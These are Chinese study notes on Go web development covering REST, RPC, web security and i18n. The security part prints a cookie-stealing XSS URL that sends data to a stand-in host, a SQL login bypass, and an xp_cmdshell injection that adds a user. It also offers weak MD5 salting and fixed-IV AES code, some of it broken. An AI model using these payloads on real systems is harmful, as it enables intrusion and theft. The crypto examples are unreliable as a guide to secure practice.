查看請求頭發現Origin參數為null,我想應該是這個問題,于是我用Chrome運行就跑起來了...

Chrome中該字段的值是Origin: file://

還有一個方案就是在服務端,取消origin認證,默認是要認證Origin參數的

Connection: Upgrade Host: 127.0.0.1:999 Origin: null Pragma: no-cache Cache-Control: no-cache Sec-WebSocket-Key: Zbh6Hk/bjj4PPOgD3MvpHA== Sec-WebSocket-Version: 13 Sec-WebSocket-Extensions: x-webkit-deflate-frame User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

REST

REST和Restful老生常談,不再累述了,這里是書上的一點概念,我覺得比較有代表性.

總結一下什么是RESTful架構：

每一個URI代表一種資源；
客戶端和服務器之間，傳遞這種資源的某種表現層；
客戶端通過四個HTTP動詞(GET,POST,DELETE,PUT等)，對服務器端資源進行操作，實現"表現層狀態轉化"。

這里使用了第三方庫go get github.com/julienschmidt/httprouter，這個庫實現了自定義路由和方便的路由規則映射，通過它，我們可以很方便的實現REST的架構.

這東西沒什么難度,不再累述

package mainimport ("fmt""log""net/http""github.com/julienschmidt/httprouter" )func Index(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {fmt.Fprint(w, "你好!\n") }func Hello(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {//獲取請求參數fmt.Fprintf(w, ps.ByName("name")) }func getuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {//獲取請求參數uid := ps.ByName("uid")fmt.Fprintf(w, uid) }func modifyuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {//獲取請求參數uid := ps.ByName("uid")fmt.Fprintf(w, uid) }func deleteuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {//獲取請求參數uid := ps.ByName("uid")fmt.Fprintf(w, uid) }func adduser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {//獲取請求參數uid := ps.ByName("uid")fmt.Fprintf(w, uid) }func main() {//新建路由router := httprouter.New()//根據不同的請求方式, 設置匹配的URL連接router.GET("/", Index)router.GET("/hello/:name", Hello)router.GET("/user/:uid", getuser)router.POST("/adduser/:uid", adduser)router.DELETE("/deluser/:uid", deleteuser)router.PUT("/moduser/:uid", modifyuser)//監聽服務,同時記錄日志log.Fatal(http.ListenAndServe(":999", router)) }

RPC

RPC——遠程過程調用協議,可是實現客戶端就像調用本地函數一樣調用遠程服務里里面的服務.

RPC主要使用HTTP,TCP進行通信.

go標準包中的RPC

go標準包中已經提供了對RPC的支持,而且同時支持TCP、HTTP、JSONRPC

但是go的標準包中的RPC是獨一無二的RCPU,僅僅支持在GO的客戶端和服務端的交互.

所以, 一般情況下我們不會用go的標準包做rpc服務而是用gRpc,gRpc主流語言都可以用

這里的東西大概看一下流程就可以

go的RC函數只有在符合下面條件時才能夠運行

首字母必須是大寫
必須有兩個導出類型的參數
第一個參數是接收的參數,第二個參數是返回給客戶端的參數同時必須是指針類型
函數還要返回一個返回值error

正確的RPC函數格式如下

//T、T1和T2類型必須能被encoding/gob包編解碼 func (t *T) MethodName(argType T1, replyType *T2) error

HTTP RPC

根據下面得了兩個案例,可以看到客戶端的返回值就是我們定義的strct類型,

在服務端我們當做調用函數的參數的類型

在客戶端作為client.Call的第2，3兩個參數的類型,在客戶端最重要的就是這個Call函數

Call有三個參數,第一個是要調用函數名稱,第二個是要傳遞的參數,第三個要返回的參數(指針類型)

服務端的代碼如下:

注冊了一個Arith的RPC服務，然后通過rpc.HandleHTTP函數把該服務注冊到了HTTP協議上

package mainimport ("github.com/pkg/errors""net/rpc""net/http""fmt" )type Args struct {A, B int }type Quotient struct {Quo, Rem int }//數學計算 type Arith int//乘法 func (t *Arith) Mul(args *Args, reply *int) error {*reply = args.A * args.Breturn nil}//除法 func (t *Arith) Div(args *Args, quo *Quotient) error {if args.B == 0 {return errors.New("Div參數不能為0")}quo.Quo = args.A / args.Bquo.Rem = args.A % args.Breturn nil} func main() {//為該結構體開辟內存空間arith := new(Arith)//注冊RPCrpc.Register(arith)//調用RPC服務rpc.HandleHTTP()//開啟服務err := http.ListenAndServe(":999", nil)if err != nil {fmt.Println(err.Error())} }

客戶端代碼

package mainimport ("os""fmt""net/rpc" )type Args struct {A, B int }type Quotient struct {Quo, Rem int }func main() {if len(os.Args) != 2 {fmt.Println("請輸入參數")os.Exit(1)}//獲取第一個參數作為請求地址serverAddress := os.Args[1]//發送請求,通過http的形式client, err := rpc.DialHTTP("tcp", serverAddress+":999")if err != nil {panic(err)}//設置請求參數args := Args{8, 2}//聲明一個變量,然后使用指針形式調用該變量作為返回值的賦值var reply int//調用遠程的RPC服務err = client.Call("Arith.Mul", args, &reply)if err != nil {panic(err)}fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)var quot Quotient//調用遠程的RPC服務err = client.Call("Arith.Div", args, &quot)if err != nil {panic(err)}fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)//打印結果//~/go/src/web/rpc on  master! ? 15:07:25//$ go run ./http_client.go localhost//Arith: 8*2=16//Arith: 8/2=4 remainder 0}

TCP RPC

基于TCP的RPC協議,和http的rpc的不同之處是我們使用了TCP協議開啟一個服務.

然后自己控制連接,一旦有客戶端連接過來,馬上就把這個鏈接交給rpc來處理

阻塞版的服務端代碼,如果不想阻塞,想要并發,用goroutine即可

package mainimport ("github.com/pkg/errors""net/rpc""net" )//聲明三個結構體//作為參數的結構體 type Args struct {A, B int } type Quotient struct {Quo, Rem int }//聲明一個結構體,作為對象使用 type Arith int//乘法 func (t *Arith) Mul(args *Args, reply *int) error {*reply = args.A * args.Breturn nil }//除法 func (t *Arith) Div(args *Args, quo *Quotient) error {if args.B == 0 {return errors.New("div 不能是0")}quo.Quo = args.A / args.Bquo.Rem = args.A % args.Breturn nil }func main() {//同樣,需要為該結構體(相當于對象)開辟空間arith := new(Arith)//注冊rpcrpc.Register(arith)//同樣需要開啟一個socket服務tcpAddr, err := net.ResolveTCPAddr("tcp", ":999")if err != nil {panic(err)}//監聽socket端口listenner, err := net.ListenTCP("tcp", tcpAddr)//死循環不斷的處理for {//通過監聽的端口獲取到數據conn, err := listenner.Accept()if err != nil {continue}//通過rpc調用請求rpc.ServeConn(conn)} }

客戶端代碼

package mainimport ("os""fmt""net/rpc" )type Args struct {A, B int }type Quotient struct {Quo, Rem int }func main() {//判斷參數if len(os.Args) != 2 {fmt.Println("請輸入URL地址和端口號,格式 host:port")}//獲取參數,發送連接service := os.Args[1]client, err := rpc.Dial("tcp", service)if err != nil {panic(err)}//填充參數, 調用遠程RPC服務,進行乘法操作args := Args{4, 2}var reply interr = client.Call("Arith.Mul", args, &reply)if err != nil {panic(err)}fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)//聲明變量,調用遠程RPC服務,進行除法操作var quot Quotienterr = client.Call("Arith.Div", args, &quot)if err != nil {panic(err)}fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) }//~/go/src/web/rpc on  master! ? 16:54:59 //$ go run ./tcp_client.go 127.0.0.1:999 //Arith: 4*2=8 //Arith: 4/2=2 remainder 0

JSON RPC

JSON RPC是數據編碼采用了JSON,而不是gob編碼,其他方面和前面說的RPC概念一模一樣.

json-rpc是基于TCP協議實現的，目前它還不支持HTTP方式。

服務端代碼

package mainimport ("errors""fmt""net""net/rpc""net/rpc/jsonrpc""os" )type Args struct {A, B int }type Quotient struct {Quo, Rem int }type Arith intfunc (t *Arith) Multiply(args *Args, reply *int) error {*reply = args.A * args.Breturn nil }func (t *Arith) Divide(args *Args, quo *Quotient) error {if args.B == 0 {return errors.New("divide by zero")}quo.Quo = args.A / args.Bquo.Rem = args.A % args.Breturn nil }func main() {//為結構體開辟空間arith := new(Arith)//注冊RPC服務rpc.Register(arith)//激活TCP服務tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")checkError(err)//監聽端口listener, err := net.ListenTCP("tcp", tcpAddr)checkError(err)for {//處理接收到的數據conn, err := listener.Accept()if err != nil {continue}//將接收到的連接轉發給RPCjsonrpc.ServeConn(conn)}}func checkError(err error) {if err != nil {fmt.Println("Fatal error ", err.Error())os.Exit(1)} }

客戶端代碼

package mainimport ("fmt""log""net/rpc/jsonrpc""os" )type Args struct {A, B int }type Quotient struct {Quo, Rem int }func main() {//判斷傳入的參數個數if len(os.Args) != 2 {fmt.Println("請輸入參數")log.Fatal(1)}//獲取參數,調動RPC服務service := os.Args[1]client, err := jsonrpc.Dial("tcp", service)if err != nil {panic(err)}//設置提交參數args := Args{4, 2}//聲明當做返回值的變量var reply int//取變量的內存地址傳入函數,并使用函數調用遠程RPC服務err = client.Call("Arith.Mul", args, &reply)if err != nil {panic(err)}fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)//和上面一樣,聲明變量,將變量內存地址放入函數作為返回值用,同時使用函數調用遠程RPC服務var quot Quotienterr = client.Call("Arith.Divide", args, &quot)if err != nil {panic(err)}fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)} //執行結果 //~/go/src/web/rpc on  master! ? 16:55:11 //$ go run ./tcp_client.go 127.0.0.1:999 //Arith: 4*2=8 //Arith: 4/2=2 remainder 0

安全與加密

web安全這塊完全就是老生常談,做web開發的基本上都這塊都是如數家珍.

如果要專門學的話,我推薦道哥的《白帽子講Web安全》

因為學到這里了,就做一下簡單的回顧.

預防CSRF攻擊

CSRF(Cross-site request forger),中文名稱:跨站請求偽造,其實就是跨站攻擊的一種.

要完成一次攻擊,必須要讓受害者完整兩個步驟

登錄受信任網站A,并且在本地生成cookie
在不退出A的情況下,訪問危險網站B

這時候危險網站B,通過盜用用戶的COOKIE得到用戶在網站A的登錄狀態,從而盜用用戶在網站A上的資金.

如何防御CSRF

服務端的防御方式有很多種,但是思路上都差不多.

正確使用GET,POST和Cookie
在非GET請求中增加偽隨機數,作為令牌
限制cookie的獲取方式,設置httponly

一般來說,普通的web應用都是以get和post為主,還有一種是cookie的方式

一般我們都這么設計程序:

GET常用在查看,列舉,展示等不需要改變資源屬性的時候.
POST常用在下單,改變一個資源的屬性或者做其他事情的時候

接下來我們已go語言為例,如何限制對資源的訪問方法

//限制只能通過GET方式獲取 mux.Get("/user/:uid", getuser) //限制只能通過POST方式獲取 mux.Post("/user/:uid", modifyuser)

這樣處理之后可以限制用戶的請求方式,防止請求方式混亂.

但是這樣并不安全,需要我們在非GET方式的請求中增加隨機數令牌

為每個用戶生成一個唯一的cookie tokan,所有表單都要包含同一個隨機數令牌,這個方案最簡單,因為攻擊者不能獲取第三方的cookie(理論上設置httponly之后),所以攻擊也就不存在,但是這個方案必須要在沒有XSS攻擊的情況下才安全.
每個請求使用驗證碼,完美方案,但是多次輸入驗證碼,用戶會受不了
不同的表單包含一個不同的隨機數令牌,我前面做Template的章節的時候說過, 代碼如下

h := md5.New() io.WriteString(h, strconv.FormatInt(curtime, 10)) io.WriteString(h,"meicuo,zhejiushitoken") token := fmt.Sprintf("%x", h.Sum(nil)) t,_ := template.ParseFiles("login.gtpl") t.Execute(w,token)

輸出token

驗證token

r.ParseForm() token := r.Form.Get("token") if token != "" {//驗證token的合法性 } else {//不存在token報錯 }

確保輸入過濾

一句話,客戶端的一切數據都是不可信的.用戶提交的數據必須要進行過濾.

過濾數據分為三個部分

識別數據，搞清楚需要過濾的數據來自于哪里
過濾數據，弄明白我們需要什么樣的數據
區分已過濾及被污染數據，如果存在攻擊數據那么保證過濾之后可以讓我們使用更安全的數據\

過濾數據

在知道數據來源之后,就可以過濾它了.以防止非法數據進入你的應用。

最好的方法是把過濾看成是一個檢查的過程，在我們使用數據之前都要檢查一下是否是合法的數據。

千萬不要試圖好心地去糾正非法數據，而是讓用戶遵循我們的規則進行輸入。

歷史證明了試圖糾正非法數據往往會導致安全漏洞。

這里舉個例子：“最近建設銀行系統升級之后，如果密碼后面兩位是0，只要輸入前面四位就能登錄系統”，這是一個非常嚴重的漏洞。(牛逼!!!)

過濾數據主要是用下面這些庫來操作

strconv包下面的字符串轉化相關函數,因為從request中的r.From返回的就是字符串.如果我們要將他們轉換為整數/浮點數,Atoi、ParseBool、ParseFloat、ParseInt等函數就可以派上用場了。
string包下面的一些過濾函數Trim、ToLower、ToTitle等函數，能夠幫助我們按照指定的格式獲取信息。
regexp包做正則匹配用來處理一些復雜的需求，例如判定輸入是否是Email、生日之類。

過濾數據除了檢查驗證之外，在特殊時候，還可以采用白名單。即僅指定的字段可通過.

區分過濾數據

如果走到這里,說明數據過濾的工作基本就完成了.但是寫程序的時候還需要我們區分已過濾和被污染的數據,用來保證過濾數據的完整性,而不影響輸入的數據.

在這里,我們約定把所有經過過濾的數據放入一個叫全局的Map變量中(CleanMap)

這時候需要用兩個步驟來方志偉污染的數據注入:

每個請求都需要初始化CleanMap為一個空的Map
加入檢查及阻止來自外部數據源的變量命名為CleanMap

下面來個例子來鞏固一下這些概念:

前端表單

<form action="/whoami" method="POST">我是誰:<select name="name"><option value="astaxie">astaxie</option><option value="herry">herry</option><option value="marry">marry</option></select><input type="submit" /> </form>

如果你以為上面的表單只有三個值提交的話,那就錯了.再遭到攻擊時,攻擊者偽造表單,可能會有n個字段提交

所以我們在下面的服務端代碼中,只取出我們制定的字段的值,同時將值和字段名賦值給CleanMap.

這就可以保證CleanMap中的字段一定是合法字段(值不一定合法,需要再做處理).

其實下面的代碼我們還可以在else部分增加非法數據的處理，一種可能是再次顯示表單并提示錯誤。但是不要試圖為了友好而輸出被污染的數據(因為這很要命)。

//調用該函數,他會自動處理表單數據 r.ParseForm() //讀取表單數據中指定字段的值 name := r.Form.Get("name") CleanMap := make(map[string]interface{}, 0) if name == "astaxie" || name == "herry" || name == "marry" {CleanMap["name"] = name }

上面的代碼只能用來過濾字段,要過濾值還帶看下面

比如下面的代碼,只允許name字段提交字母和數字

//調用該函數,他會自動處理表單數據 r.ParseForm() //讀取表單數據中指定字段的值 username := r.Form.Get("username") CleanMap := make(map[string]interface{}, 0) //正則匹配 if ok, _ := regexp.MatchString("^[a-zA-Z0-9]+$", username); ok {CleanMap["username"] = username }

避免XSS攻擊

動態站點會受到一種名為“跨站腳本攻擊”（Cross Site Scripting, 安全專家們通常將其縮寫成 XSS）的威脅，而靜態站點則完全不受其影響。

什么是XSS

XSS攻擊：跨站腳本攻擊(Cross-Site Scripting)

XSS是一種常見的web安全漏洞，攻擊者(通過在服務植入或其他方式,比如運營商作梗)將惡意代碼植入到提供給其它用戶使用的頁面中.

XSS通常可以分為兩大類

一類是存儲型XSS，主要是出現在讓用戶輸入數據保存到服務器,然后供其他用戶查看的地方,比如留言板,博客等.程序從數據庫查詢數據,在頁面中顯示,如果數據中有惡意腳本數據,用戶瀏覽此信息的頁面時該腳本就會被運行,用戶就會遭到攻擊.簡而言之,黑客通過漏洞向數據庫中注入JS代碼,用戶訪問這些數據時,JS代碼就會在瀏覽器中運行,這些JS代碼可能會含有讀取cookie獲得用戶登錄狀態等功能.
另一類是反射型XSS，主要做法是將腳本代碼加入URL地址的請求參數里，請求參數進入程序后在頁面直接輸出，用戶點擊類似的惡意鏈接就可能受到攻擊。

XSS目前主要的手段和目的如下：

盜用cookie,獲取用戶敏感信息(比如登錄狀態)
利用植入Flash,通過crossdomain權限設置進一步獲取更高權限；或者利用Java等得到類似的操作。
利用iframe、frame、XMLHttpRequest或上述Flash等方式，以（被攻擊者）用戶的身份執行一些管理動作，或執行一些如:發微博、加好友、發私信等常規操作，前段時間新浪微博就遭遇過一次XSS。
利用可被攻擊的域受到其他域信任的特點，以受信任來源的身份請求一些平時不允許的操作，如進行不當的投票活動。
在訪問量極大的一些頁面上的XSS可以攻擊一些小型網站，實現DDoS攻擊的效果

XSS的原理

很顯然,是程序寫的有問題,沒有過濾用戶提交的數據,黑客通過該漏銅想服務器提交了HTML代碼.

服務器將這些未轉義的代碼輸出到了其他用戶的瀏覽器解釋執行.

接下來以反射性XSS舉例說明XSS的過程:

例如正確訪問域名是http://127.0.0.1/?name=nihao就會再瀏覽器輸入你好啊

但是如果我們這樣傳遞URLhttp://127.0.0.1/?name=<script>alert('nihao,xss')</script>這時你就會發現瀏覽器跳出一個彈出框，這說明站點已經存在了XSS漏洞。

惡意用戶盜取cookie,也是通過類似的方法http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>這樣就可以把當前的cookie發送到指定的站點：www.xxx.com。

防御XSS攻擊

其實說起來就很簡單了,不要相信任何用戶提交的數據,并且過濾掉所有的特殊字符.尤其是html字符.

目前主要防御措施:

過濾特殊字符,Go語言提供了HTML的過濾函數：text/template包下面的HTMLEscapeString、JSEscapeString等函數
使用HTTP頭指定類型w.Header().Set("Content-Type","text/javascript"),這樣就可以讓瀏覽器解析javascript代碼，而不會是html輸出。

避免SQL注入

SQL注入攻擊（SQL Injection），簡稱注入攻擊，是Web開發中最常見的一種安全漏洞。

而造成SQL注入的原因是因為程序沒有過濾用戶輸入的內容,導致惡意用戶提交了惡意SQL語句影響到原SQL的執行,從而操作數據庫.

PS:如果你認為只有了解數據庫結構才能攻擊的話,那就錯了,京東那一年被拖庫就是最牛逼的例子.

SQL注入實例

SQL查詢可以繞開訪問限制，從而繞過身份驗證和權限檢查的操作數據庫。更有甚者，有可能通過SQL查詢去運行主機系統級的命令。

下面是一些SQL注入的例子:

前端form表單

<form action="/login" method="POST"> <p>Username: <input type="text" name="username" /></p> <p>Password: <input type="password" name="password" /></p> <p><input type="submit" value="登陸" /></p> </form>

我們處理里面的SQL正常情況下應該是這樣的

username:=r.Form.Get("username") password:=r.Form.Get("password") sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'

但是如果輸入的用戶名是這樣的,密碼隨便寫

myuser' or 'foo' = 'foo' --

那么我們的SQL變成了如下所示：

SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx'

注意在SQL中--是注釋符,所以查詢語句會在此中斷,這就讓攻擊者在不知道密碼的情況下成功登陸了

對于MSSQL還有一種更加危險的SQL注入,那就是控制操作系統

比如正常情況下,我們的SQL是這樣的

sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'" Db.Exec(sql)

但是如果攻擊提交a%' exec master..xp_cmdshell 'net user test testpass /ADD' --作為變量 prod的值，那么sql將會變成這樣

sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'"

MSSQL服務器會執行這條SQL語句，包括它后面那個用于向系統添加新用戶的命令。如果這個程序是以sa運行而 MSSQLSERVER服務又有足夠的權限的話，攻擊者就可以獲得一個系統帳號來訪問主機了。

預防SQL注入

還是那句話,不要相信任何用戶提交的數據,特別是來自于用戶的數據，包括選擇框、表單隱藏域和 cookie。

主要防御方式

嚴格限制web應用的數據庫操作權限,給此用戶提供僅僅能滿足工作的最低權限.從而最小程度限制被攻擊后的損失
檢查輸入的數據是否是合法的數據格式,嚴格限制變量類型,例如使用regexp包來做正則匹配,或者使用strconv包對字符串轉化成其他基本類型的數據進行判斷.
對進入數據的特殊字符（'"\尖括號&*;等）進行轉義處理,或者編碼轉換,常見的就是base64.go的text/template包里面的HTMLEscapeString函數可以對字符串進行轉義處理
所有的查詢語句使用數據庫提供的參數化查詢接口(和PHP里面的預處理有一比),參數化的語句使用參數而不是將用戶輸入變量嵌入到SQL語句中,即不要直接拼接SQL語句.例如使用database/sql里面的查詢函數Prepare和Query，或者Exec(query string, args ...interface{})。
在應用發布之前可以使用專業的SQL注入測試工具進行測試,例如sqlmap、SQLninja等。
避免網站打印SQL錯誤信息,比如類型錯誤,字段不匹配等,不要把代碼里的SQL暴露出來,以防止攻擊者利用錯誤信息進行SQL注入

存儲密碼

之前有很多網站遭遇用戶密碼泄密事件,包括京東,Linkedin,CSDN等等,前一陣Facebook好像也出了這事.

人們往往習慣在不同網站使用相同的密碼，所以一家“暴庫”，全部遭殃。

所以我們作為開發者,在選擇密碼存儲方案時一定要慎重.不要想CSDN那樣,那么大的公司居然用明文存儲.

普通方案

目前最多的方式是將明文密碼做單向哈希后存儲,單向哈希算法無法通過哈希后的摘要(digest)恢復原始數據，這也是“單向”二字的來源。

常用的單向哈希算法包括SHA-256, SHA-1, MD5等。

單向哈希有兩個特性：

同一個密碼進行單向哈希，得到的總是唯一確定的摘要。
計算速度快。隨著技術進步，一秒鐘能夠完成數十億次單向哈希計算。

就像上面這兩個特點一樣, 考慮到多數人所使用的密碼為常見的組合，攻擊者可以將所有密碼的常見組合進行單向哈希，得到一個摘要組合, 然后與數據庫中的摘要進行比對即可獲得對應的密碼。這個摘要組合也被稱為rainbow table。也是當前最流行最有效的破解方式.

因此通過單向加密之后存儲的數據，和明文存儲沒有多大區別

Go語言對這三種加密算法的實現如下所示,比較簡單：

//import "crypto/sha256" h := sha256.New() io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") fmt.Printf("% x", h.Sum(nil))//import "crypto/sha1" h := sha1.New() io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") fmt.Printf("% x", h.Sum(nil))//import "crypto/md5" h := md5.New() io.WriteString(h, "需要加密的密碼") fmt.Printf("%x", h.Sum(nil))

進階方案

我們知道黑客可以用rainbow table來破解哈希后的密碼，很大程度上是因為加密時使用的哈希算法是公開的。如果黑客不知道加密的哈希算法是什么，那他也就無從下手了。

當前比較流行的對密碼加密時做加鹽操作,就是用固定的字符串和密碼拼在一起做hash,有的網站甚至或做好多次這樣哈希計算.

也有用一些禁止用戶修改的字段,在加鹽加密后再拼接這些字段,比如實名后的身份證號,再次做MD5操作.這樣就可以保證每個用戶的鹽是不一樣的.

在兩個salt沒有泄露的情況下，即使黑客拿到加密后的字符串，幾乎也不可能推算出原始的密碼是什么了。

下面是一個簡單的加鹽案例,比較簡單

//import "crypto/md5" //假設用戶名abc，密碼123456 h := md5.New() io.WriteString(h, "需要加密的密碼")//pwmd5等于e10adc3949ba59abbe56e057f20f883e pwmd5 :=fmt.Sprintf("%x", h.Sum(nil))//指定兩個 salt： salt1 = @#$% salt2 = ^&*() salt1 := "@#$%" salt2 := "^&*()"//salt1+用戶名+salt2+MD5拼接 io.WriteString(h, salt1) io.WriteString(h, "abc") io.WriteString(h, salt2) io.WriteString(h, pwmd5)last :=fmt.Sprintf("%x", h.Sum(nil))

專家方案

上面的進階方案,在以前是絕對安全的,因為攻擊者沒有足夠的資源建立這么多的rainbow table。

但是,現在因為并行計算能力的提升,這種攻擊只要努力,完全可行

只要時間與資源允許，沒有破譯不了的密碼，所以我們的方案是,增加密碼計算所需耗費的資源和時間，使別人都不可能獲得足夠量大的資源來建立所需要的rainbow table其實ASE加密就是這種感覺,利用一個引子層層加密.

這類方案有一個特點，算法中都有個因子，用于指明計算密碼摘要所需要的資源和時間，也就是計算強度。計算強度越大，攻擊者建立rainbow table越困難，以至于不可繼續。

這里推薦scrypt方案，scrypt是由著名的FreeBSD黑客Colin Percival為他的備份服務Tarsnap開發的。

目前Go語言里面支持的庫http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt

dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)

其實PHP中也有類似方案,password_hash()

加密和解密數據

有時候我們存儲的數據可能在某一天需要再解密出來,此時我們應該在選用對稱加密算法來滿足我們的需求。

base64加解密

其實base64算不上是一種加密方式,僅僅是一種編碼方式的感覺而已,因為他沒有秘鑰這個概念.

package mainimport ("encoding/base64""fmt" )func base64Encode(src []byte) []byte {return []byte(base64.StdEncoding.EncodeToString(src)) }func base64Decode(src []byte) ([]byte, error) {return base64.StdEncoding.DecodeString(string(src)) }func main() {// 編碼hello := "你好啊!"debyte := base64Encode([]byte(hello))fmt.Println(debyte)// 解碼enbyte, err := base64Decode(debyte)if err != nil {fmt.Println(err.Error())}if hello != string(enbyte) {fmt.Println("解密失敗")}fmt.Println(string(enbyte)) }

高級加解密

Go語言的crypto里面支持對稱加密的高級加解密包有：

crypto/aes包：AES(Advanced Encryption Standard)，又稱Rijndael加密法，是美國聯邦政府采用的一種區塊加密標準。
crypto/des包：DES(Data Encryption Standard)，是一種對稱加密標準，是目前使用最廣泛的密鑰系統，特別是在保護金融數據的安全中。曾是美國聯邦政府的加密標準，但現已被AES所替代。

這兩種算法類似,而且AES已經取代了DES,這里就不說DES了.我記得DES加密的話是區分,pkcs5和Pkcs7的,但是好像在AES中，pkcs#5填充和pkcs#7填充沒有任何區別。

下面通過調用函數aes.NewCipher(參數key必須是16、24或者32位的[]byte，分別對應AES-128, AES-192或AES-256算法),返回了一個cipher.Block接口，這個接口實現了三個功能這三個函數實現了加解密操作：

type Block interface {// 塊大小返回密碼的塊大小。BlockSize() int// Encrypt將src中的第一個塊加密為dst。 // Dst和src可以指向同一個內存。Encrypt(dst, src []byte)// Decrypt將src中的第一個塊解密為dst。 // Dst和src可以指向同一個內存。Decrypt(dst, src []byte) }

aes加密案例

package mainimport ("crypto/aes""crypto/cipher""fmt""os" )//這里是全局向量,aes加密是需要填充向量的,其實也可以是10進制16個數 var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}func main() {//需要去加密的字符串內容即加密內容plaintext := []byte("你好啊")//如果傳入加密串的話，plaint就是傳入的字符串if len(os.Args) > 1 {plaintext = []byte(os.Args[1])}//aes的加密字符串,其實這里應該叫做加密的秘鑰//go秘鑰長度必須是16/24/32,分別對應AES-128, AES-192, or AES-256.key_text := "astaxie12798akljzmknm.ahkjkljl;k"if len(os.Args) > 2 {key_text = os.Args[2]}fmt.Println(len(key_text))// 創建加密算法aesc, err := aes.NewCipher([]byte(key_text))if err != nil {fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)os.Exit(-1)}//加密字符串,cfb形式cfb := cipher.NewCFBEncrypter(c, commonIV)ciphertext := make([]byte, len(plaintext))cfb.XORKeyStream(ciphertext, plaintext)fmt.Printf("加密后的結果%s=>%x\n", plaintext, ciphertext)// 解密字符串,cfb形式cfbdec := cipher.NewCFBDecrypter(c, commonIV)plaintextCopy := make([]byte, len(plaintext))cfbdec.XORKeyStream(plaintextCopy, ciphertext)fmt.Printf("解密后的結果%x=>%s\n", ciphertext, plaintextCopy) }

國際化和本地化

國際化與本地化（Internationalization and localization,通常用i18n和L10N表示,因為他有18個字母和10個字母,太長了），國際化是將針對某個地區設計的程序進行重構，以使它能夠在更多地區使用，本地化是指在一個面向國際化的程序中增加對新地區的支持。

目前，Go語言的標準包提供i18n的支持，但是有一些比較簡單的第三方實現，這次我們就要實現一個go-i18n庫，用來支持Go語言的i18n。

其實多語言國際化基本上都沒有什么難度,做國際化不同編程語言有很多技術方案,總結一下,基本上都是利用文字字典做匹配,有的是系統提供的, 有的是自己維護的.

比如PHP有gettext()配合piedit做的二進制文件匹配,也有自己做數組維護的.

JS主要就是利用i18這個包來做的匹配,也有自己做的.

設置默認地區

local是一組描述世界上某一特定地區文本格式和語言習慣的設置的集合.

locale名通常由三個部分組成：

第一部分，是一個強制性的，表示語言的縮寫，例如"en"表示英文或"zh"表示中文。
第二部分，跟在一個下劃線之后，是一個可選的國家說明符，用于區分講同一種語言的不同國家，例如"en_US"表示美國英語，而"en_UK"表示英國英語。
第三部分，跟在一個句點之后，是可選的字符集說明符，例如"zh_CN.gb2312"表示中國使用gb2312字符集。

因為go語言默認采用的時UTF-8字符集,所以我們做i18n的時候不考慮第三部分字符集問題.

在Linux和Solaris中可以通過locale -a命名列舉所有支持的地區名,我們可以看到命名規范.

對于BSD等系統，沒有locale命令，但是地區信息存儲在/usr/share/locale中

設置local

我們呢需要根據用戶的信息(訪問信息,個人信息,訪問域名等信息)來設置與之相關的local,我們可以通過如下幾個范式來設置用戶的local:

通過域名設置local

在應用程序運行時采用域名分級的方式,例如我們采用的時www.nihao.com當做我們英文默認站,而吧www.nihao.cn當做中文站,這樣通過在程序入庫里面設置域名和相應的local的對應關系即可:

通過URL可以很明顯的區別
用戶通過域名很直觀的知道訪問那種語言的站點
在go程序中實現非常的簡單,通過一個map就可以實現
有利于搜索引擎抓取,能提高站點的SEO

下面是通過域名對應的local的代碼案例:

if r.Host == "www.asta.com" {i18n.SetLocale("en") } else if r.Host == "www.asta.cn" {i18n.SetLocale("zh-CN") } else if r.Host == "www.asta.tw" {i18n.SetLocale("zh-TW") }

除了整域名設置區域外,我們可也可以通過子域名來設置地區,比如en.nihao.com標識英文,cn.nihao.com標識中文站:

prefix := strings.Split(r.Host,".")if prefix[0] == "en" {i18n.SetLocale("en") } else if prefix[0] == "cn" {i18n.SetLocale("zh-CN") } else if prefix[0] == "tw" {i18n.SetLocale("zh-TW") }

從域名參數設置locale

目前最常用的設置local的方式是URL帶參,比如www.nihao.com/hello?locale=zh或者www.nihao.com/zh/hello,這樣我們就可以設置地區i18n.SetLocale(params["locale])

這種設置方式幾乎擁有前面將的通過域名設置locale的所有優點,他采用resetful的方式,使我們不用使用額外的方式來處理.

但是這樣可能需要我們在每個URL里面都要添加相應參數的locale,說起來是有點復雜和繁瑣的.不過我們也可以寫一個通用的URL,讓所有的連接地址都通過這個函數來生成,然后在這個函數里面增加local=params["locale"]參數來緩解一下

如果我們想讓地址看上去更加的restful一點,例如:www.nihao.com/en/books和www.nihao.com/zh/books,這種方式的URL更鯉魚SEO,而且對用戶的顯示也比較好.

那么這種的URL地址可以通過router來獲取locale

mux.Get("/:locale/books", listbook)

從客戶端設置地區

在一些特殊的情況下,我們需要根據客戶端的信息而不是通過URL來設置locale,這些信息可能來自客戶端設置的喜好語言,用戶的IP地址,用戶在注冊時填寫的所在地信息等

